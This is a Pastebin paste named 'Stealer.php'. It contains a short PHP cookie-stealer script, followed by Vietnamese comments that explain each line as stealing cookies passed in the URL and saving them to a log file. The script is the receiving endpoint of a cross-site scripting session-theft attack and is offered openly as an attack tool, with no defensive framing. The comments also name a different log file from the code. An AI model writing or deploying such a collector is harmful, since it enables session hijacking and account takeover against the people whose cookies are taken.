vituong585

Stealer.php

Jul 23rd, 2016
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.67 KB | None | 0 0
  1.  
  2. <?php
  3. $cookie = $HTTP_GET_VARS["cookie"];
  4. $steal = fopen("logs.txt", "a");
  5. fwrite($steal, $cookie ."\\n");
  6. fclose($steal);
  7. ?>
  8.  
  9.  
  10. - $cookie = $HTTP_GET_VARS["cookie"]; // đánh cắp cookie từ địa chỉ hiện tại url(stealer.php?cookie=x) và lưu trữ cookie trong biến $cookie
  11. - $steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm các cookie được đánh cắp
  12. - fwrite($steal, $cookie ."\\n"); // Lưu lại những cookie được đánh cắp bên trong file
  13. - fclose($steal); // Đóng lại cookiefile
Add Comment
Please, Sign In to add comment